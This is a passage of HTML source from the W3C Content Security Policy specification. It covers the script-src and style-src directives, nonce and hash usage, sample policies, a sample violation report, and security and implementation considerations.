<li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code>, and\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-top-navigation\">allow-top-navigation</a></code>\n       \n      \n      </ul>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.15\" id=\"directive-script-src\"><span class=\"secno\">7.15. </span><span class=\"content\"><code>script-src</code></span><a class=\"self-link\" href=\"#directive-script-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"script_src\">script-src<a class=\"self-link\" href=\"#script_src\"></a></dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"script-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-script-sources\">allowed script sources<a class=\"self-link\" href=\"#allowed-script-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>script-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> is\n    present in the list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would execute an inline script from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>\n      <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URL, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a>\n      MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called as a constructor, the function <code>Function</code>\n      <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a> MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout\">setTimeout()</a></code> function MUST\n      return zero without creating a timer.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval\">setInterval()</a></code> function MUST\n      return zero without creating a timer.\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL (including when following\n    redirects) in the course of one of the following activities, if the URL does\n    not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if\n    there was a fatal network error and no resource was obtained, <em>and</em>\n    <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting a script while processing the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> attribute of\n      a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed\n      script sources</a>.\n      \n\n      \n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>\n      \n\n      \n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. <a data-link-type=\"biblio\" href=\"#biblio-html-imports\">[HTML-IMPORTS]</a>\n      \n\n      \n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, such as when processing the\n      <code>&lt;?xml-stylesheet?></code> processing directive in an XML\n      document <a data-link-type=\"biblio\" href=\"#biblio-xml11\">[XML11]</a>, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attributes\n      on <code>&lt;xsl:include></code> and <code>&lt;xsl:import></code>\n      elements.\n      \n    \n     </ul>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.1\" id=\"script-src-nonce-usage\"><span class=\"secno\">7.15.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.</p>\n      \n\n\n      <p>Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n      \n\n\n      <p>This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n      \n\n\n      <p>Script elements can then execute either because their <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> URLs\n      are whitelisted or because they have a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>:</p>\n      \n\n      \n      <pre>&lt;script>\nalert(\"Blocked because the policy doesn’t have 'unsafe-inline'.\")\n&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\">\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\">\nalert(\"Allowed because nonce is valid.\")\n&lt;/script>\n\n&lt;script src=\"https://example.com/allowed-because-of-src.js\">&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n    src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\">&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n    src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\">&lt;/script>\n</pre>\n      \n\n\n      <p>Note that the nonce’s value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It’s quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.</p>\n      \n\n\n      <p>Script elements with the proper nonce execute, regardless of\n      whether they’re inline or external. Script elements without the\n      proper nonce don’t execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker’s inability\n      to guess the random value.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.2\" id=\"script-src-hash-usage\"><span class=\"secno\">7.15.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.</p>\n      \n\n\n      <p>Usage is straightforward. The server computes the hash of a\n      particular script block’s contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n      \n\n\n      <p>Each inline script block’s contents are hashed, and compared against\n      the whitelisted value. If there’s a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=</code>.</p>\n      \n\n      \n      <div class=\"example\">\n        You can obtain the digest of a string on the command line simply\n        via the <code>openssl</code> program. For example:\n\n        \n       <pre>echo -n \"alert('Hello, world.');\" | openssl dgst -sha256 -binary | openssl enc -base64\n</pre>\n       \n      \n      </div>\n      \n\n\n      <p>If the server sent the following header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n      \n\n\n      <p>Then the following script tag would result in script execution:</p>\n      \n\n      \n      <pre>&lt;script>alert('Hello, world.');&lt;/script>\n</pre>\n      \n\n\n      <p>Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:</p>\n      \n\n      \n      <pre>&lt;script> alert('Hello, world.');&lt;/script>\n&lt;script>alert('Hello, world.'); &lt;/script>\n&lt;script> alert('Hello, world.'); &lt;/script>\n&lt;script>\nalert('Hello, world.');\n&lt;/script>\n</pre>\n      \n\n\n      <p>Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.16\" id=\"directive-style-src\"><span class=\"secno\">7.16. </span><span class=\"content\"><code>style-src</code></span><a class=\"self-link\" href=\"#directive-style-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"style_src\">style-src<a class=\"self-link\" href=\"#style_src\"></a></dfn></code> directive restricts which styles the\n    user may applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"style-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-style-sources\">allowed style sources<a class=\"self-link\" href=\"#allowed-style-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>style-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code>\n    is present in the list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> element that lacks a\n      <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the\n      <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n      violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...></code>).</p>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style\n    sources</a>, then:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#insert-a-css-rule\">insert a CSS rule</a>, <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-rule\">parse a CSS rule</a>,\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-declaration-block\">parse a CSS declaration block</a>, or\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-group-of-selectors\">parse a group of selectors</a>\n      instead the user agent MUST throw a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#securityerror\">SecurityError</a>\n      exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM’s various <code>cssText</code>\n      setters and <code>insertRule</code> methods. <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[CSSOM]</a> <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>\n        Requesting an external stylesheet when processing the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a> of a <a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a> element\n        whose <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a> attribute contains the token\n        <code><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/links.html#link-type-stylesheet\">stylesheet</a></code>.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing the <a class=\"production css\" data-link-type=\"at-rule\" href=\"http://www.w3.org/TR/css-cascade-3/#at-ruledef-import\">&lt;@import></a>\n        directive.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing a <code>Link</code>\n        HTTP response header field <a data-link-type=\"biblio\" href=\"#biblio-rfc5988\">[RFC5988]</a>.\n\n\n       <p class=\"note\" role=\"note\">Note: As this stylesheet might be prefetched before a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>\n        actually exists, user agents will need to carefully consider how to\n        instantiate a meaningful <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> against which to compare this\n        request. See <a href=\"#complications\">§10.1 Processing Complications</a> for more detail.</p>\n       \n      \n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.1\" id=\"style-src-nonce-usage\"><span class=\"secno\">7.16.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-nonce-usage\"><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.2\" id=\"style-src-hash-usage\"><span class=\"secno\">7.16.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-hash-usage\"><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"8\" id=\"examples\"><span class=\"secno\">8. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h2>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.1\" id=\"example-policies\"><span class=\"secno\">8.1. </span><span class=\"content\">Sample Policy Definitions</span><a class=\"self-link\" href=\"#example-policies\"></a></h3>\n     \n\n\n     <p>This section provides some sample use cases and supporting <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>.</p>\n     \n\n    \n     <div class=\"example\">\n      A server wishes to load resources only from its own origin:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\">\n      An auction site wishes to load images from any URL, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      \n      <pre>Content-Security-Policy:\n    <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; img-src *;\n    <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n    <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> trustedscripts.example.com\n</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\">\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n      \n\n\n      <p>This policy allows inline content (such as inline\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.</p>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\">\n      A website that relies on inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n      \n\n\n      <p>The inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements would then only\n      execute if they contained a matching\n      <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute:</p>\n      \n\n\n      <pre>&lt;script nonce=\"<em>$RANDOM</em>\">...&lt;/script></pre>\n      \n    \n     </div>\n     \n  \n    </section>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.2\" id=\"example-violation-report\"><span class=\"secno\">8.2. </span><span class=\"content\">Sample Violation Report</span><a class=\"self-link\" href=\"#example-violation-report\"></a></h3>\n     \n\n\n     <p>This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.</p>\n     \n\n\n     <p>In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following policy:</p>\n     \n\n\n     <pre><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> http://example.org/csp-report.cgi</pre>\n     \n\n\n     <p>The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.</p>\n     \n\n    \n     <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}\n</pre>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"9\" id=\"security-considerations\"><span class=\"secno\">9. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.1\" id=\"security-css-parsing\"><span class=\"secno\">9.1. </span><span class=\"content\">Cascading Style Sheet (CSS) Parsing</span><a class=\"self-link\" href=\"#security-css-parsing\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.</p>\n     \n\n\n     <p>These attacks are similar to the <a href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.2\" id=\"security-violation-reports\"><span class=\"secno\">9.2. </span><span class=\"content\">Violation Reports</span><a class=\"self-link\" href=\"#security-violation-reports\"></a></h3>\n     \n\n\n     <p>The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>identityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URL, the violation\n    report might contain sensitive information contained in the redirected URL,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URL.</p>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"10\" id=\"implementation-considerations\"><span class=\"secno\">10. </span><span class=\"content\">Implementation Considerations</span><a class=\"self-link\" href=\"#implementation-considerations\"></a></h2>\n\n\n    <p>The <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.</p>\n\n\n    <p>The originating administrative domain for a resource might wish to\n  apply a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.</p>\n\n\n    <p>One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.</p>\n\n\n    <p>Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.</p>\n\n\n    <p>Interactions between the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.</p>\n\n\n    <p>Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: Migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=\"https://tools.ietf.org/html/rfc6797\">HTTP Strict Transport Security</a>\n  headers for an application. <a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a></p>\n\n  \n    <div class=\"note\" role=\"note\">\n    